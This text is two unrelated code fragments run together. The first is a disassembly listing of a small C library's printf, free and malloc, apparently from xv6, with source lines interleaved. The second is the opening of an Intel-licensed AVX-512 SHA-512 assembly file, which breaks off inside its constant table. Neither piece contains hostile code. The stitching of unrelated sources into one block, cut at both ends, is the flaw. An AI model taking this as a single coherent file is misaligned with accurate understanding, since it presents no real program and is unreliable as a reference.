5ad: e9 66 ff ff ff jmp 518 <printf+0x48> 5b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 5b8: 83 ec 0c sub $0xc,%esp 5bb: b9 10 00 00 00 mov $0x10,%ecx 5c0: 6a 00 push $0x0 5c2: 8b 7d d4 mov -0x2c(%ebp),%edi 5c5: 8b 45 08 mov 0x8(%ebp),%eax 5c8: 8b 17 mov (%edi),%edx 5ca: e8 61 fe ff ff call 430 <printint> ap++; 5cf: 89 f8 mov %edi,%eax 5d1: 83 c4 10 add $0x10,%esp state = 0; 5d4: 31 ff xor %edi,%edi ap++; 5d6: 83 c0 04 add $0x4,%eax 5d9: 89 45 d4 mov %eax,-0x2c(%ebp) 5dc: e9 37 ff ff ff jmp 518 <printf+0x48> 5e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 5e8: 8b 45 d4 mov -0x2c(%ebp),%eax 5eb: 8b 08 mov (%eax),%ecx ap++; 5ed: 83 c0 04 add $0x4,%eax 5f0: 89 45 d4 mov %eax,-0x2c(%ebp) if(s == 0) 5f3: 85 c9 test %ecx,%ecx 5f5: 0f 84 8e 00 00 00 je 689 <printf+0x1b9> while(*s != 0){ 5fb: 0f b6 01 movzbl (%ecx),%eax state = 0; 5fe: 31 ff xor %edi,%edi s = (char*)*ap; 600: 89 cb mov %ecx,%ebx while(*s != 0){ 602: 84 c0 test %al,%al 604: 0f 84 0e ff ff ff je 518 <printf+0x48> 60a: 89 75 d0 mov %esi,-0x30(%ebp) 60d: 89 de mov %ebx,%esi 60f: 8b 5d 08 mov 0x8(%ebp),%ebx 612: 8d 7d e3 lea -0x1d(%ebp),%edi 615: 8d 76 00 lea 0x0(%esi),%esi write(fd, &c, 1); 618: 83 ec 04 sub $0x4,%esp s++; 61b: 83 c6 01 add $0x1,%esi 61e: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 621: 6a 01 push $0x1 623: 57 push %edi 624: 53 push %ebx 625: e8 58 fd ff ff call 382 <write> while(*s != 0){ 62a: 0f b6 06 movzbl (%esi),%eax 62d: 83 c4 10 add $0x10,%esp 630: 84 c0 test %al,%al 632: 75 e4 jne 618 <printf+0x148> 634: 8b 75 d0 mov -0x30(%ebp),%esi state = 0; 637: 31 ff xor %edi,%edi 639: e9 da fe ff ff jmp 518 <printf+0x48> 63e: 66 90 xchg %ax,%ax printint(fd, *ap, 10, 1); 640: 83 ec 0c sub $0xc,%esp 643: b9 0a 00 00 00 mov $0xa,%ecx 648: 6a 01 push $0x1 64a: e9 73 ff ff ff jmp 5c2 <printf+0xf2> 64f: 90 nop write(fd, &c, 1); 650: 83 ec 04 sub $0x4,%esp 653: 88 5d e5 mov %bl,-0x1b(%ebp) 656: 8d 45 e5 lea -0x1b(%ebp),%eax 659: 6a 01 push $0x1 65b: e9 21 ff ff ff jmp 581 <printf+0xb1> putc(fd, *ap); 660: 8b 7d d4 mov -0x2c(%ebp),%edi write(fd, &c, 1); 663: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 666: 8b 07 mov (%edi),%eax write(fd, &c, 1); 668: 6a 01 push $0x1 ap++; 66a: 83 c7 04 add $0x4,%edi putc(fd, *ap); 66d: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 670: 8d 45 e4 lea -0x1c(%ebp),%eax 673: 50 push %eax 674: ff 75 08 pushl 0x8(%ebp) 677: e8 06 fd ff ff call 382 <write> ap++; 67c: 89 7d d4 mov %edi,-0x2c(%ebp) 67f: 83 c4 10 add $0x10,%esp state = 0; 682: 31 ff xor %edi,%edi 684: e9 8f fe ff ff jmp 518 <printf+0x48> s = "(null)"; 689: bb 60 08 00 00 mov $0x860,%ebx while(*s != 0){ 68e: b8 28 00 00 00 mov $0x28,%eax 693: e9 72 ff ff ff jmp 60a <printf+0x13a> 698: 66 90 xchg %ax,%ax 69a: 66 90 xchg %ax,%ax 69c: 66 90 xchg %ax,%ax 69e: 66 90 xchg %ax,%ax 000006a0 <free>: static Header base; static Header *freep; void free(void *ap) { 6a0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6a1: a1 60 0b 00 00 mov 0xb60,%eax { 6a6: 89 e5 mov %esp,%ebp 6a8: 57 push %edi 6a9: 56 push %esi 6aa: 53 push %ebx 6ab: 8b 5d 08 mov 0x8(%ebp),%ebx bp = (Header*)ap - 1; 6ae: 8d 4b f8 lea -0x8(%ebx),%ecx 6b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6b8: 39 c8 cmp %ecx,%eax 6ba: 8b 10 mov (%eax),%edx 6bc: 73 32 jae 6f0 <free+0x50> 6be: 39 d1 cmp %edx,%ecx 6c0: 72 04 jb 6c6 <free+0x26> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6c2: 39 d0 cmp %edx,%eax 6c4: 72 32 jb 6f8 <free+0x58> break; if(bp + bp->s.size == p->s.ptr){ 6c6: 8b 73 fc mov -0x4(%ebx),%esi 6c9: 8d 3c f1 lea (%ecx,%esi,8),%edi 6cc: 39 fa cmp %edi,%edx 6ce: 74 30 je 700 <free+0x60> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6d0: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6d3: 8b 50 04 mov 0x4(%eax),%edx 6d6: 8d 34 d0 lea (%eax,%edx,8),%esi 6d9: 39 f1 cmp %esi,%ecx 6db: 74 3a je 717 <free+0x77> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6dd: 89 08 mov %ecx,(%eax) freep = p; 6df: a3 60 0b 00 00 mov %eax,0xb60 } 6e4: 5b pop %ebx 6e5: 5e pop %esi 6e6: 5f pop %edi 6e7: 5d pop %ebp 6e8: c3 ret 6e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6f0: 39 d0 cmp %edx,%eax 6f2: 72 04 jb 6f8 <free+0x58> 6f4: 39 d1 cmp %edx,%ecx 6f6: 72 ce jb 6c6 <free+0x26> { 6f8: 89 d0 mov %edx,%eax 6fa: eb bc jmp 6b8 <free+0x18> 6fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 700: 03 72 04 add 0x4(%edx),%esi 703: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 706: 8b 10 mov (%eax),%edx 708: 8b 12 mov (%edx),%edx 70a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 70d: 8b 50 04 mov 0x4(%eax),%edx 710: 8d 34 d0 lea (%eax,%edx,8),%esi 713: 39 f1 cmp %esi,%ecx 715: 75 c6 jne 6dd <free+0x3d> p->s.size += bp->s.size; 717: 03 53 fc add -0x4(%ebx),%edx freep = p; 71a: a3 60 0b 00 00 mov %eax,0xb60 p->s.size += bp->s.size; 71f: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 722: 8b 53 f8 mov -0x8(%ebx),%edx 725: 89 10 mov %edx,(%eax) } 727: 5b pop %ebx 728: 5e pop %esi 729: 5f pop %edi 72a: 5d pop %ebp 72b: c3 ret 72c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00000730 <malloc>: return freep; } void* malloc(uint nbytes) { 730: 55 push %ebp 731: 89 e5 mov %esp,%ebp 733: 57 push %edi 734: 56 push %esi 735: 53 push %ebx 736: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 739: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 73c: 8b 15 60 0b 00 00 mov 0xb60,%edx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 742: 8d 78 07 lea 0x7(%eax),%edi 745: c1 ef 03 shr $0x3,%edi 748: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 74b: 85 d2 test %edx,%edx 74d: 0f 84 9d 00 00 00 je 7f0 <malloc+0xc0> 753: 8b 02 mov (%edx),%eax 755: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 758: 39 cf cmp %ecx,%edi 75a: 76 6c jbe 7c8 <malloc+0x98> 75c: 81 ff 00 10 00 00 cmp $0x1000,%edi 762: bb 00 10 00 00 mov $0x1000,%ebx 767: 0f 43 df cmovae %edi,%ebx p = sbrk(nu * sizeof(Header)); 76a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi 771: eb 0e jmp 781 <malloc+0x51> 773: 90 nop 774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 778: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 77a: 8b 48 04 mov 0x4(%eax),%ecx 77d: 39 f9 cmp %edi,%ecx 77f: 73 47 jae 7c8 <malloc+0x98> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 781: 39 05 60 0b 00 00 cmp %eax,0xb60 787: 89 c2 mov %eax,%edx 789: 75 ed jne 778 <malloc+0x48> p = sbrk(nu * sizeof(Header)); 78b: 83 ec 0c sub $0xc,%esp 78e: 56 push %esi 78f: e8 56 fc ff ff call 3ea <sbrk> if(p == (char*)-1) 794: 83 c4 10 add $0x10,%esp 797: 83 f8 ff cmp $0xffffffff,%eax 79a: 74 1c je 7b8 <malloc+0x88> hp->s.size = nu; 79c: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 79f: 83 ec 0c sub $0xc,%esp 7a2: 83 c0 08 add $0x8,%eax 7a5: 50 push %eax 7a6: e8 f5 fe ff ff call 6a0 <free> return freep; 7ab: 8b 15 60 0b 00 00 mov 0xb60,%edx if((p = morecore(nunits)) == 0) 7b1: 83 c4 10 add $0x10,%esp 7b4: 85 d2 test %edx,%edx 7b6: 75 c0 jne 778 <malloc+0x48> return 0; } } 7b8: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 7bb: 31 c0 xor %eax,%eax } 7bd: 5b pop %ebx 7be: 5e pop %esi 7bf: 5f pop %edi 7c0: 5d pop %ebp 7c1: c3 ret 7c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p->s.size == nunits) 7c8: 39 cf cmp %ecx,%edi 7ca: 74 54 je 820 <malloc+0xf0> p->s.size -= nunits; 7cc: 29 f9 sub %edi,%ecx 7ce: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 7d1: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 7d4: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 7d7: 89 15 60 0b 00 00 mov %edx,0xb60 } 7dd: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 7e0: 83 c0 08 add $0x8,%eax } 7e3: 5b pop %ebx 7e4: 5e pop %esi 7e5: 5f pop %edi 7e6: 5d pop %ebp 7e7: c3 ret 7e8: 90 nop 7e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 7f0: c7 05 60 0b 00 00 64 movl $0xb64,0xb60 7f7: 0b 00 00 7fa: c7 05 64 0b 00 00 64 movl $0xb64,0xb64 801: 0b 00 00 base.s.size = 0; 804: b8 64 0b 00 00 mov $0xb64,%eax 809: c7 05 68 0b 00 00 00 movl $0x0,0xb68 810: 00 00 00 813: e9 44 ff ff ff jmp 75c <malloc+0x2c> 818: 90 nop 819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 820: 8b 08 mov (%eax),%ecx 822: 89 0a mov %ecx,(%edx) 824: eb b1 jmp 7d7 <malloc+0xa7>
;; ;; Copyright (c) 2017-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; ;; Stack must be aligned to 32 bytes before call ;; ;; Registers: RAX RBX RCX RDX RBP RSI RDI R8 R9 R10 R11 R12 R13 R14 R15 ;; ----------------------------------------------------------- ;; Windows clobbers: RAX RDX RDI R8 R9 R10 R11 R12 R13 R14 R15 ;; Windows preserves: RBX RCX RBP RSI ;; ----------------------------------------------------------- ;; Linux clobbers: RAX RDX RSI R8 R9 R10 R11 R12 R13 R14 R15 ;; Linux preserves: RBX RCX RBP RDI ;; ----------------------------------------------------------- ;; Clobbers ZMM0-31 ;; code to compute quad SHA512 using AVX512 %include "include/os.asm" ;%define DO_DBGPRINT %include "include/dbgprint.asm" %include "include/mb_mgr_datastruct.asm" %include "include/transpose_avx512.asm" %include "include/clear_regs.asm" %include "include/cet.inc" %define APPEND(a,b) a %+ b %ifdef LINUX ; Linux register definitions %define arg1 rdi %define arg2 rsi %define arg3 rcx %define arg4 rdx %else ; Windows definitions %define arg1 rcx %define arg2 rdx %define arg3 rsi %define arg4 rdi %endif %define STATE arg1 %define INP_SIZE arg2 %define IDX arg4 %define TBL r8 ;; retaining XMM_SAVE, because the top half of YMM registers no saving required, only bottom half, the XMM part %define NUM_LANES 8 %define XMM_SAVE (15-5)*16 %define SZ 8 %define SZ8 8 * SZ %define DIGEST_SZ 8 * SZ8 %define DIGEST_SAVE NUM_LANES * DIGEST_SZ %define RSP_SAVE 1*8 ; Define Stack Layout START_FIELDS ;;; name size align FIELD _DIGEST_SAVE, NUM_LANES*8*64, 64 FIELD _XMM_SAVE, XMM_SAVE, 16 FIELD _RSP, 8, 8 %assign STACK_SPACE _FIELD_OFFSET %define inp0 r9 %define inp1 r10 %define inp2 r11 %define inp3 r12 %define inp4 r13 %define inp5 r14 %define inp6 r15 %define inp7 rax %define A zmm0 %define B zmm1 %define C zmm2 %define D zmm3 %define E zmm4 %define F zmm5 %define G zmm6 %define H zmm7 %define T1 zmm8 %define TMP0 zmm9 %define TMP1 zmm10 %define TMP2 zmm11 %define TMP3 zmm12 %define TMP4 zmm13 %define TMP5 zmm14 %define TMP6 zmm15 %define W0 zmm16 %define W1 zmm17 %define W2 zmm18 %define W3 zmm19 %define W4 zmm20 %define W5 zmm21 %define W6 zmm22 %define W7 zmm23 %define W8 zmm24 %define W9 zmm25 %define W10 zmm26 %define W11 zmm27 %define W12 zmm28 %define W13 zmm29 %define W14 zmm30 %define W15 zmm31 ; from sha256_fips180-2.pdf ; define rotates for Sigma function for main loop steps %define BIG_SIGMA_0_0 28 ; Sigma0 %define BIG_SIGMA_0_1 34 %define BIG_SIGMA_0_2 39 %define BIG_SIGMA_1_0 14 ; Sigma1 %define BIG_SIGMA_1_1 18 %define BIG_SIGMA_1_2 41 ; define rotates for Sigma function for scheduling steps %define SMALL_SIGMA_0_0 1 ; sigma0 %define SMALL_SIGMA_0_1 8 %define SMALL_SIGMA_0_2 7 %define SMALL_SIGMA_1_0 19 ; sigma1 %define SMALL_SIGMA_1_1 61 %define SMALL_SIGMA_1_2 6 %define SHA_MAX_ROUNDS 80 %define SHA_ROUNDS_LESS_16 (SHA_MAX_ROUNDS - 16) %macro ROTATE_ARGS 0 %xdefine TMP_ H %xdefine H G %xdefine G F %xdefine F E %xdefine E D %xdefine D C %xdefine C B %xdefine B A %xdefine A TMP_ %endm ;; CH(A, B, C) = (A&B) ^ (~A&C) ;; MAJ(E, F, G) = (E&F) ^ (E&G) ^ (F&G) ;; SIGMA0 = ROR_28 ^ ROR_34 ^ ROR_39 ;; SIGMA1 = ROR_14 ^ ROR_18 ^ ROR_41 ;; sigma0 = ROR_1 ^ ROR_8 ^ SHR_7 ;; sigma1 = ROR_19 ^ ROR_61 ^ SHR_6 ;; Main processing loop per round ;; equivalent to %macro ROUND_00_15 2 %macro PROCESS_LOOP 2 %define %%WT %1 %define %%ROUND %2 ;; T1 = H + BIG_SIGMA_1(E) + CH(E, F, G) + Kt + Wt ;; T2 = BIG_SIGMA_0(A) + MAJ(A, B, C) ;; H=G, G=F, F=E, E=D+T1, D=C, C=B, B=A, A=T1+T2 ;; H becomes T2, then add T1 for A ;; D becomes D + T1 for E vpaddq T1, H, TMP3 ; T1 = H + Kt vmovdqa32 TMP0, E ;; compute BIG_SIGMA_1(E) vprorq TMP1, E, BIG_SIGMA_1_0 ; ROR_14(E) vprorq TMP2, E, BIG_SIGMA_1_1 ; ROR_18(E) vprorq TMP3, E, BIG_SIGMA_1_2 ; ROR_41(E) vpternlogq TMP1, TMP2, TMP3, 0x96 ; TMP1 = BIG_SIGMA_1(E) vpternlogq TMP0, F, G, 0xCA ; TMP0 = CH(E,F,G) vpaddq T1, T1, %%WT ; T1 = T1 + Wt vpaddq T1, T1, TMP0 ; T1 = T1 + CH(E,F,G) vpaddq T1, T1, TMP1 ; T1 = T1 + BIG_SIGMA_1(E) vpaddq D, D, T1 ; D = D + T1 vprorq H, A, BIG_SIGMA_0_0 ;ROR_28(A) vprorq TMP2, A, BIG_SIGMA_0_1 ;ROR_34(A) vprorq TMP3, A, BIG_SIGMA_0_2 ;ROR_39(A) vmovdqa32 TMP0, A vpternlogq TMP0, B, C, 0xE8 ; TMP0 = MAJ(A,B,C) vpternlogq H, TMP2, TMP3, 0x96 ; H(T2) = BIG_SIGMA_0(A) vpaddq H, H, TMP0 ; H(T2) = BIG_SIGMA_0(A) + MAJ(A,B,C) vpaddq H, H, T1 ; H(A) = H(T2) + T1 vmovdqa32 TMP3, [TBL + ((%%ROUND+1)*64)] ; Next Kt ;; Rotate the args A-H (rotation of names associated with regs) ROTATE_ARGS %endmacro %macro MSG_SCHED_ROUND_16_79 4 %define %%WT %1 %define %%WTp1 %2 %define %%WTp9 %3 %define %%WTp14 %4 vprorq TMP4, %%WTp14, SMALL_SIGMA_1_0 ; ROR_19(Wt-2) vprorq TMP5, %%WTp14, SMALL_SIGMA_1_1 ; ROR_61(Wt-2) vpsrlq TMP6, %%WTp14, SMALL_SIGMA_1_2 ; SHR_6(Wt-2) vpternlogq TMP4, TMP5, TMP6, 0x96 ; TMP4 = sigma_1(Wt-2) vpaddq %%WT, %%WT, TMP4 ; Wt = Wt-16 + sigma_1(Wt-2) vpaddq %%WT, %%WT, %%WTp9 ; Wt = Wt-16 + sigma_1(Wt-2) + Wt-7 vprorq TMP4, %%WTp1, SMALL_SIGMA_0_0 ; ROR_1(Wt-15) vprorq TMP5, %%WTp1, SMALL_SIGMA_0_1 ; ROR_8(Wt-15) vpsrlq TMP6, %%WTp1, SMALL_SIGMA_0_2 ; SHR_7(Wt-15) vpternlogq TMP4, TMP5, TMP6, 0x96 ; TMP4 = sigma_0(Wt-15) vpaddq %%WT, %%WT, TMP4 ; Wt = Wt-16 + sigma_1(Wt-2) + ; Wt-7 + sigma_0(Wt-15) + %endmacro mksection .rodata default rel align 64 ; 80 constants for SHA512 ; replicating for each lane, thus 8*80 ; to aid in SIMD .. space tradeoff for time! ; local to asm file, used nowhere else TABLE: dq 0x428a2f98d728ae22, 0x428a2f98d728ae22, 0x428a2f98d728ae22, 0x428a2f98d728ae22 dq 0x428a2f98d728ae22, 0x428a2f98d728ae22, 0x428a2f98d728ae22, 0x428a2f98d728ae22 dq 0x7137449123ef65cd, 0x7137449123ef65cd, 0x7137449123ef65cd, 0x7137449123ef65cd dq 0x7137449123ef65cd, 0x7137449123ef65cd, 0x7137449123ef65cd, 0x7137449123ef65cd dq 0xb5c0fbcfec4d3b2f, 0xb5c0fbcfec4d3b2f, 0xb5c0fbcfec4d3b2f, 0xb5c0fbcfec4d3b2f dq 0xb5c0fbcfec4d3b2f, 0xb5c0fbcfec4d3b2f, 0xb5c0fbcfec4d3b2f, 0xb5c0fbcfec4d3b2f dq 0xe9b5dba58189dbbc, 0xe9b5dba58189dbbc, 0xe9b5dba58189dbbc, 0xe9b5dba58189dbbc dq 0xe9b5dba58189dbbc, 0xe9b5dba58189dbbc, 0xe9b5dba58189dbbc, 0xe9b5dba58189dbbc dq 0x3956c25bf348b538, 0x3956c25bf348b538, 0x3956c25bf348b538, 0x3956c25bf348b538 dq 0x3956c25bf348b538, 0x3956c25bf348b538, 0x3956c25bf348b538, 0x3956c25bf348b538 dq 0x59f111f1b605d019, 0x59f111f1b605d019, 0x59f111f1b605d019, 0x59f111f1b605d019 dq 0x59f111f1b605d019, 0x59f111f1b605d019, 0x59f111f1b605d019, 0x59f111f1b605d019 dq 0x923f82a4af194f9b, 0x923f82a4af194f9b, 0x923f82a4af194f9b, 0x923f82a4af194f9b dq 0x923f82a4af194f9b, 0x923f82a4af194f9b, 0x923f82a4af194f9b, 0x923f82a4af194f9b dq 0xab1c5ed5da6d8118, 0xab1c5ed5da6d8118, 0xab1c5ed5da6d8118, 0xab1c5ed5da6d8118 dq 0xab1c5ed5da6d8118, 0xab1c5ed5da6d8118, 0xab1c5ed5da6d8118, 0xab1c5ed5da6d8118 dq 0xd807aa98a3030242, 0xd807aa98a3030242, 0xd807aa98a3030242, 0xd807aa98a3030242 dq 0xd807aa98a3030242, 0xd807aa98a3030242, 0xd807aa98a3030242, 0xd807aa98a3030242 dq 0x12835b0145706fbe, 0x12835b0145706fbe, 0x12835b0145706fbe, 0x12835b0145706fbe dq 0x12835b0145706fbe, 0x12835b0145706fbe, 0x12835b0145706fbe, 0x12835b0145706fbe dq 0x243185be4ee4b28c, 0x243185be4ee4b28c, 0x243185be4ee4b28c, 0x243185be4ee4b28c dq 0x243185be4ee4b28c, 0x243185be4ee4b28c, 0x243185be4ee4b28c, 0x243185be4ee4b28c dq 0x550c7dc3d5ffb4e2, 0x550c7dc3d5ffb4e2, 0x550c7dc3d5ffb4e2, 0x550c7dc3d5ffb4e2 dq 0x550c7dc3d5ffb4e2, 0x550c7dc3d5ffb4e2, 0x550c7dc3d5ffb4e2, 0x550c7dc3d5ffb4e2 dq 0x72be5d74f27b896f, 0x72be5d74f27b896f, 0x72be5d74f27b896f, 0x72be5d74f27b896f dq 0x72be5d74f27b896f, 0x72be5d74f27b896f, 0x72be5d74f27b896f, 0x72be5d74f27b896f dq 0x80deb1fe3b1696b1, 0x80deb1fe3b1696b1, 0x80deb1fe3b1696b1, 0x80deb1fe3b1696b1 dq 0x80deb1fe3b1696b1, 0x80deb1fe3b1696b1, 0x80deb1fe3b1696b1, 0x80deb1fe3b1696b1 dq 0x9bdc06a725c71235, 0x9bdc06a725c71235, 0x9bdc06a725c71235, 0x9bdc06a725c71235 dq 0x9bdc06a725c71235, 0x9bdc06a725c71235, 0x9bdc06a725c71235, 0x9bdc06a725c71235 dq 0xc19bf174cf692694, 0xc19bf174cf692694, 0xc19bf174cf692694, 0xc19bf174cf692694 dq 0xc19bf174cf692694, 0xc19bf174cf692694, 0xc19bf174cf692694, 0xc19bf174cf692694 dq 0xe49b69c19ef14ad2, 0xe49b69c19ef14ad2, 0xe49b69c19ef14ad2, 0xe49b69c19ef14ad2 dq 0xe49b69c19ef14ad2, 0xe49b69c19ef14ad2, 0xe49b69c19ef14ad2, 0xe49b69c19ef14ad2 dq 0xefbe4786384f25e3, 0xefbe4786384f25e3, 0xefbe4786384f25e3, 0xefbe4786384f25e3 dq 0xefbe4786384f25e3, 0xefbe4786384f25e3, 0xefbe4786384f25e3, 0xefbe4786384f25e3 dq 0x0fc19dc68b8cd5b5, 0x0fc19dc68b8cd5b5, 0x0fc19dc68b8cd5b5, 0x0fc19dc68b8cd5b5 dq 0x0fc19dc68b8cd5b5, 0x0fc19dc68b8cd5b5, 0x0fc19dc68b8cd5b5, 0x0fc19dc68b8cd5b5 dq 0x240ca1cc77ac9c65, 0x240ca1cc77ac9c65, 0x240ca1cc77ac9c65, 0x240ca1cc77ac9c65 dq 0x240ca1cc77ac9c65, 0x240ca1cc77ac9c65, 0x240ca1cc77ac9c65, 0x240ca1cc77ac9c65 dq 0x2de92c6f592b0275, 0x2de92c6f592b0275, 0x2de92c6f592b0275, 0x2de92c6f592b0275 dq 0x2de92c6f592b0275, 0x2de92c6f592b0275, 0x2de92c6f592b0275, 0x2de92c6f592b0275 dq 0x4a7484aa6ea6e483, 0x4a7484aa6ea6e483, 0x4a7484aa6ea6e483, 0x4a7484aa6ea6e483 dq 0x4a7484aa6ea6e483, 0x4a7484aa6ea6e483, 0x4a7484aa6ea6e483, 0x4a7484aa6ea6e483 dq 0x5cb0a9dcbd41fbd4, 0x5cb0a9dcbd41fbd4, 0x5cb0a9dcbd41fbd4, 0x5cb0a9dcbd41fbd4 dq 0x5cb0a9dcbd41fbd4, 0x5cb0a9dcbd41fbd4, 0x5cb0a9dcbd41fbd4, 0x5cb0a9dcbd41fbd4 dq 0x76f988da831153b5, 0x76f988da831153b5, 0x76f988da831153b5, 0x76f988da831153b5 dq 0x76f988da831153b5, 0x76f988da831153b5, 0x76f988da831153b5, 0x76f988da831153b5 dq 0x983e5152ee66dfab, 0x983e5152ee66dfab, 0x983e5152ee66dfab, 0x983e5152ee66dfab dq 0x983e5152ee66dfab, 0x983e5152ee66dfab, 0x983e5152ee66dfab, 0x983e5152ee66dfab dq 0xa831c66d2db43210, 0xa831c66d2db43210, 0xa831c66d2db43210, 0xa831c66d2db43210 dq 0xa831c66d2db43210, 0xa831c66d2db43210, 0xa831c66d2db43210, 0xa831c66d2db43210 dq 0xb00327c898fb213f, 0xb00327c898fb213f, 0xb00327c898fb213f, 0xb00327c898fb213f dq 0xb00327c898fb213f, 0xb00327c898fb213f, 0xb00327c898fb213f, 0xb00327c898fb213f dq 0xbf597fc7beef0ee4, 0xbf597fc7beef0ee4, 0xbf597fc7beef0ee4, 0xbf597fc7beef0ee4 dq 0xbf597fc7beef0ee4, 0xbf597fc7beef0ee4, 0xbf597fc7beef0ee4, 0xbf597fc7beef0ee4 dq 0xc6e00bf33da88fc2, 0xc6e00bf33da88fc2, 0xc6e00bf33da88fc2, 0xc6e00bf33da88fc2 dq 0xc6e00bf33da88fc2, 0xc6e00bf33da88fc2, 0xc6e00bf33da88fc2, 0xc6e00bf33da88fc2 dq 0xd5a79147930aa725, 0xd5a79147930aa725, 0xd5a79147930aa725, 0xd5a79147930aa725 dq 0xd5a79147930aa725, 0xd5a79147930aa725, 0xd5a79147930aa725, 0xd5a79147930aa725 dq 0x06ca6351e003826f, 0x06ca6351e003826f, 0x06ca6351e003826f, 0x06ca6351e003826f dq 0x06ca6351e003826f, 0x06ca6351e003826f, 0x06ca6351e003826f, 0x06ca6351e003826f dq 0x142929670a0e6e70, 0x142929670a0e6e70, 0x142929670a0e6e70, 0x142929670a0e6e70 dq 0x142929670a0e6e70, 0x142929670a0e6e70, 0x142929670a0e6e70, 0x142929670a0e6e70 dq 0x27b70a8546d22ffc, 0x27b70a8546d22ffc, 0x27b70a8546d22ffc, 0x27b70a8546d22ffc dq 0x27b70a8546d22ffc, 0x27b70a8546d22ffc, 0x27b70a8546d22ffc, 0x27b70a8546d22ffc dq 0x2e1b21385c26c926, 0x2e1b21385c26c926, 0x2e1b21385c26c926, 0x2e1b21385c26c926 dq 0x2e1b21385c26c926, 0x2e1b21385c26c926, 0x2e1b21385c26c926, 0x2e1b21385c26c926 dq 0x4d2c6dfc5ac42aed, 0x4d2c6dfc5ac42aed, 0x4d2c6dfc5ac42aed, 0x4d2c6dfc5ac42aed dq 0x4d2c6dfc5ac42aed, 0x4d2c6dfc5ac42aed, 0x4d2c6dfc5ac42aed, 0x4d2c6dfc5ac42aed dq 0x53380d139d95b3df, 0x53380d139d95b3df, 0x53380d139d95b3df, 0x53380d139d95b3df dq 0x53380d139d95b3df, 0x53380d139d95b3df, 0x53380d139d95b3df, 0x53380d139d95b3df dq 0x650a73548baf63de, 0x650a73548baf63de, 0x650a73548baf63de, 0x650a73548baf63de dq 0x650a73548baf63de, 0x650a73548baf63de, 0x650a73548baf63de, 0x650a73548baf63de dq 0x766a0abb3c77b2a8, 0x766a0abb3c77b2a8, 0x766a0abb3c77b2a8, 0x766a0abb3c77b2a8 dq 0x766a0abb3c77b2a8, 0x766a0abb3c77b2a8, 